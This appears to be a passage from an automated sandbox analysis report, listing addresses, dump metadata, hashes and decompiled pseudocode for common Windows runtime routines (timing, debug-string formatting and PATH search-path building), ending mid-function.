0x00c652a4
0x00c652b0
0x00000000
0x00000000
0x00c652ba
0x00c652bc
0x00c652bc
0x00c652d4
0x00c652d9
0x00c652dc
0x00c652e1
0x00000000
0x00000000
0x00c652e7
0x00c652f4
0x00000000
0x00c652f4
0x00c65270
0x00000000
0x00c65270
0x00c651fc
0x00c651fd
0x00c65202
0x00c65203
0x00c65205
0x00c6520a
0x00c6520f
0x00000000
0x00000000
0x00c6521b
0x00c65226
0x00c6522b
0x00c6521d
0x00c6521d
0x00c65222
0x00c65222
0x00c6522d
0x00000000

Strings

Legacy, xrefs: 00C65226
UEFI, xrefs: 00C6521D

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: d3cb6b33156b53faac72b195292a3dc1f3fb49d1d428fc16e5df2c8d2ebe53f5
Instruction ID: b0db37756f6eed0c4c5a27a96545db9a6790864d0b476d2619c0ce2f767bf5c6
Opcode Fuzzy Hash: d3cb6b33156b53faac72b195292a3dc1f3fb49d1d428fc16e5df2c8d2ebe53f5
Instruction Fuzzy Hash: 1F517DB1E00A199FDB24DFA9C890BAEBBF8FF48740F24402DE559EB291D6719941DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00C0B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0xcdd360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E00C07D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E00CB8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E00C29E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E00C2B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E00C2CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E00C07D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E00CB8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E00C2AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0xcd8628; // 0x0
								_v68 = _t77;
								_t78 =  *0xcd862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0xcd8628; // 0x0
							_t116 =  *0xcd862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x00c0b94c
0x00c0b956
0x00c0b95c
0x00c0b95e
0x00c0b964
0x00c0b969
0x00c0b96d
0x00c0b96d
0x00c0b970
0x00c0b974
0x00c0b97a
0x00c0badf
0x00c0badf
0x00c0bae2
0x00c0bae4
0x00c0bae6
0x00c0baf0
0x00c52cb8
0x00c0baf6
0x00c0baf6
0x00c0baf6
0x00c0bafd
0x00c0bb1f
0x00c0bb1f
0x00c0baff
0x00c0bb00
0x00c0bb00
0x00c0bb03
0x00c0bb03
0x00c0bacb
0x00c0bacf
0x00c0bad0
0x00c0bad1
0x00c0badc
0x00c0badc
0x00c0b980
0x00c0b980
0x00c0b988
0x00c0b98b
0x00c0b98d
0x00c0b990
0x00c0b993
0x00c0b999
0x00c0b99b
0x00c0b9a1
0x00c0b9a5
0x00c0b9aa
0x00c0b9b0
0x00c0b9bb
0x00c0b9c0
0x00c0b9c3
0x00c0b9ca
0x00c0b9cc
0x00c0b9cf
0x00c0b9d3
0x00c0b9d7
0x00c0ba94
0x00c0ba94
0x00c0ba98
0x00c0baa3
0x00c52ccb
0x00c0baa9
0x00c0baa9
0x00c0baa9
0x00c0bab1
0x00c52cd5
0x00c52cdd
0x00c52cdd
0x00c0babb
0x00c0babc
0x00c0bac2
0x00c0bac3
0x00c0bac3
0x00c0bac6
0x00000000
0x00c0b9dd
0x00c0b9dd
0x00c0b9e7
0x00c0b9e7
0x00c0b9ec
0x00c0b9ec
0x00c0b9f1
0x00c0b9f5
0x00c0b9fa
0x00c0ba00
0x00c0ba0c
0x00c0ba10
0x00c0ba10
0x00c0ba12
0x00c0ba18
0x00000000
0x00000000
0x00c0bb26
0x00c0bb26
0x00c0ba1e
0x00c0ba1e
0x00c0ba23
0x00c0ba25
0x00c0ba2c
0x00c0ba30
0x00c0ba35
0x00c0ba35
0x00c0ba41
0x00c0ba46
0x00c0ba4c
0x00c0ba50
0x00c0ba54
0x00c0ba6a
0x00c0ba6e
0x00c0ba70
0x00c0ba74
0x00c0ba78
0x00c0ba7a
0x00c0ba7c
0x00c0ba8e
0x00c0ba90
0x00c0ba92
0x00c0bb14
0x00c0bb14
0x00c0bb16
0x00c0bb16
0x00000000
0x00c0ba7c
0x00c0bb0a
0x00c0bb0d
0x00000000
0x00000000
0x00000000
0x00c0bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00C0B9A5

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 904d585c4dd46d9ae60dbd96950d1b863fe76b9f37b2b0e3fcf5f032175f8152
Instruction ID: 0b4388904ee4c1536d0937afbf370d222ee793ec107a5bcd99b388251e1d0621
Opcode Fuzzy Hash: 904d585c4dd46d9ae60dbd96950d1b863fe76b9f37b2b0e3fcf5f032175f8152
Instruction Fuzzy Hash: C7512671A08351CFC720CF69C480A2ABBE5FB88710F24496EF9A597395DB70ED44DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00BEB171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00BEB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0xcbf7a8);
				E00C3D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E00C3D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E00C2D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E00C2F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L00C3DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E00C2B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E00C2B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E00C2E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E00C2A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x00beb171
0x00beb171
0x00beb171
0x00beb171
0x00beb171
0x00beb176
0x00beb17b
0x00beb180
0x00beb186
0x00beb18f
0x00beb198
0x00beb1a4
0x00beb1aa
0x00c44802
0x00c44802
0x00c44805
0x00c4480c
0x00c4480e
0x00beb1d1
0x00beb1d3
0x00beb1de
0x00beb1de
0x00c44817
0x00c4481e
0x00c44820
0x00c44822
0x00c44822
0x00c44824
0x00c44824
0x00c4482a
0x00000000
0x00000000
0x00c44835
0x00c4483a
0x00c4483d
0x00c4483f
0x00c44842
0x00c44842
0x00c44842
0x00c44846
0x00c4484c
0x00c4484e
0x00c44851
0x00c44851
0x00c44853
0x00c44854
0x00c44854
0x00c44858
0x00c4485a
0x00c4485a
0x00c4485d
0x00c4485f
0x00c44861
0x00c44861
0x00c44866
0x00c4486b
0x00c4486e
0x00c44871
0x00c44876
0x00c44876
0x00c44878
0x00c4487b
0x00c44884
0x00c44884
0x00000000
0x00c4487d
0x00c4487d
0x00c44882
0x00c44889
0x00c44889
0x00c4488f
0x00c44891
0x00c448e0
0x00c448e2
0x00c448e4
0x00c448e4
0x00c448e7
0x00c448e7
0x00c448ed
0x00c448f4
0x00c448f6
0x00c44951
0x00c44951
0x00c44953
0x00c44953
0x00c44956
0x00c44956
0x00c44958
0x00c44959
0x00c44959
0x00c4495d
0x00c4495d
0x00c4495f
0x00c4495f
0x00c44965
0x00c44969
0x00c449ba
0x00c449ba
0x00c449c1
0x00c449c5
0x00c449cc
0x00c449d4
0x00c449d7
0x00c449da
0x00c449e4
0x00c449e5
0x00c449f3
0x00c44a02
0x00000000
0x00c44a02
0x00c44972
0x00c44974
0x00000000
0x00000000
0x00c44976
0x00c44979
0x00c44982
0x00c44983
0x00c44984
0x00c4498b
0x00c4498d
0x00c44991
0x00c44993
0x00c44999
0x00c4499d
0x00c449a2
0x00c449a2
0x00c449a2
0x00c44999
0x00c449ac
0x00000000
0x00c449b3
0x00c448f8
0x00c448fe
0x00000000
0x00000000
0x00000000
0x00c448fe
0x00c44895
0x00c4489c
0x00c448ad
0x00c448b2
0x00c448b5
0x00c448b7
0x00c448ba
0x00c448bc
0x00c448c6
0x00c448c6
0x00c448cb
0x00c448d1
0x00c448d4
0x00c448d8
0x00c448d8
0x00000000
0x00c448d8
0x00c448be
0x00c448c0
0x00000000
0x00000000
0x00c448c2
0x00000000
0x00000000
0x00000000
0x00c448c4
0x00000000
0x00c44882
0x00c4487b
0x00c44904
0x00c44906
0x00000000
0x00000000
0x00c44908
0x00c4490e
0x00000000
0x00000000
0x00c44910
0x00c44917
0x00c44917
0x00000000
0x00c44917
0x00beb1ba
0x00c447f9
0x00c447fc
0x00000000
0x00000000
0x00000000
0x00c447fc
0x00beb1c0
0x00beb1c0
0x00beb1c3
0x00beb1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 00C448AD

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: d80b2a0f6b6f0b169a466a144afc248d16c0b9064cac3755116d86e58d941342
Instruction ID: bccc7362acbd3651cbbc9447cea9ffca9f06fdaec96260019f758eb7e6463a0e
Opcode Fuzzy Hash: d80b2a0f6b6f0b169a466a144afc248d16c0b9064cac3755116d86e58d941342
Instruction Fuzzy Hash: 2351D371D102698ADB38CF64C845BAEBBB0BF10724F3041ADE869EB682D7704E419B91

Uniqueness

Uniqueness Score: -1.00%

Function 00C12581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00C12581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t230;
				signed int _t234;
				void* _t235;
				void* _t236;
				signed int _t240;
				signed int _t242;
				intOrPtr _t244;
				signed int _t247;
				signed int _t254;
				signed int _t257;
				signed int _t265;
				intOrPtr _t271;
				signed int _t273;
				signed int _t275;
				void* _t277;
				signed int _t278;
				unsigned int _t281;
				signed int _t285;
				void* _t286;
				signed int _t292;
				signed int _t296;
				intOrPtr _t308;
				signed int _t317;
				signed int _t319;
				signed int _t320;
				signed int _t324;
				signed int _t325;
				signed int _t327;
				signed int _t329;
				signed int _t331;
				void* _t332;
				void* _t335;

				_t329 = _t331;
				_t332 = _t331 - 0x4c;
				_v8 =  *0xcdd360 ^ _t329;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t324 = 0xcdb2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t281 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t271 = 0x48;
				_t306 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t317 = 0;
				_v37 = _t306;
				if(_v48 <= 0) {
					L16:
					_t45 = _t271 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t325 = 0xc0000106;
						goto L32;
					} else {
						_t324 = L00C04620(_t281,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t271);
						_v52 = _t324;
						__eflags = _t324;
						if(_t324 == 0) {
							_t325 = 0xc0000017;
							goto L32;
						} else {
							 *(_t324 + 0x44) =  *(_t324 + 0x44) & 0x00000000;
							_t50 = _t324 + 0x48; // 0x48
							_t319 = _t50;
							_t306 = _v32;
							 *((intOrPtr*)(_t324 + 0x3c)) = _t271;
							_t273 = 0;
							 *((short*)(_t324 + 0x30)) = _v48;
							__eflags = _t306;
							if(_t306 != 0) {
								 *(_t324 + 0x18) = _t319;
								__eflags = _t306 - 0xcd8478;
								 *_t324 = ((0 | _t306 == 0x00cd8478) - 0x00000001 & 0xfffffffb) + 7;
								E00C2F3E0(_t319,  *((intOrPtr*)(_t306 + 4)),  *_t306 & 0x0000ffff);
								_t306 = _v32;
								_t332 = _t332 + 0xc;
								_t273 = 1;
								__eflags = _a8;
								_t319 = _t319 + (( *_t306 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t265 = E00C739F2(_t319);
									_t306 = _v32;
									_t319 = _t265;
								}
							}
							_t285 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t325 = _v68;
								__eflags = 0;
								 *((short*)(_t319 - 2)) = 0;
								goto L32;
							} else {
								_t275 = _t324 + _t273 * 4;
								_v56 = _t275;
								do {
									__eflags = _t306;
									if(_t306 != 0) {
										_t230 =  *(_v60 + _t285 * 4);
										__eflags = _t230;
										if(_t230 == 0) {
											goto L30;
										} else {
											__eflags = _t230 == 5;
											if(_t230 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t275 =  *(_v60 + _t285 * 4);
										 *(_t275 + 0x18) = _t319;
										_t234 =  *(_v60 + _t285 * 4);
										__eflags = _t234 - 8;
										if(_t234 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t234 * 4 +  &M00C12959))) {
												case 0:
													__ax =  *0xcd8488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E00C2F3E0(__edi,  *0xcd848c, __ax & 0x0000ffff);
														__eax =  *0xcd8488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E00C2F3E0(_t319, _v80, _v64);
													_t260 = _v64;
													goto L26;
												case 2:
													 *0xcd8480 & 0x0000ffff = E00C2F3E0(__edi,  *0xcd8484,  *0xcd8480 & 0x0000ffff);
													__eax =  *0xcd8480 & 0x0000ffff;
													__eax = ( *0xcd8480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E00C2F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E00C2F3E0(_t319, _v76, _v36);
														_t260 = _v36;
													}
													L26:
													_t332 = _t332 + 0xc;
													_t319 = _t319 + (_t260 >> 1) * 2 + 2;
													__eflags = _t319;
													L27:
													_push(0x3b);
													_pop(_t262);
													 *((short*)(_t319 - 2)) = _t262;
													goto L28;
												case 6:
													__ebx =  *0xcd575c;
													__eflags = __ebx - 0xcd575c;
													if(__ebx != 0xcd575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E00C2F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0xcd575c;
														} while (__ebx != 0xcd575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0xcd8478 & 0x0000ffff = E00C2F3E0(__edi,  *0xcd847c,  *0xcd8478 & 0x0000ffff);
													__eax =  *0xcd8478 & 0x0000ffff;
													__eax = ( *0xcd8478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E00C739F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0xcd6e58 & 0x0000ffff = E00C2F3E0(__edi,  *0xcd6e5c,  *0xcd6e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0xcd6e58 & 0x0000ffff;
													__eax = ( *0xcd6e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t285 = _v16;
													_t306 = _v32;
													L29:
													_t275 = _t275 + 4;
													__eflags = _t275;
													_v56 = _t275;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t285 = _t285 + 1;
									_v16 = _t285;
									__eflags = _t285 - _v48;
								} while (_t285 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t234 =  *(_v60 + _t317 * 4);
						if(_t234 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t234 * 4 +  &M00C12935))) {
							case 0:
								__ax =  *0xcd8488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t306 =  &_v64;
								_v80 = E00C12E3E(0,  &_v64);
								_t271 = _t271 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0xcd8480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xcd8480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E00BFEEF0(0xcd79a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E00BFEB70(__ecx, 0xcd79a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t208 = _v72;
											__eflags = _t208;
											if(_t208 != 0) {
												L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t208);
											}
											_t209 = _v52;
											__eflags = _t209;
											if(_t209 != 0) {
												__eflags = _t325;
												if(_t325 < 0) {
													L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t209);
													_t209 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t281 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0xcd7b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L00C04620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E00BFEB70(__ecx, 0xcd79a0);
										__eax = _v52;
										L36:
										_pop(_t318);
										_pop(_t326);
										__eflags = _v8 ^ _t329;
										_pop(_t272);
										return E00C2B640(_t209, _t272, _v8 ^ _t329, _t306, _t318, _t326);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
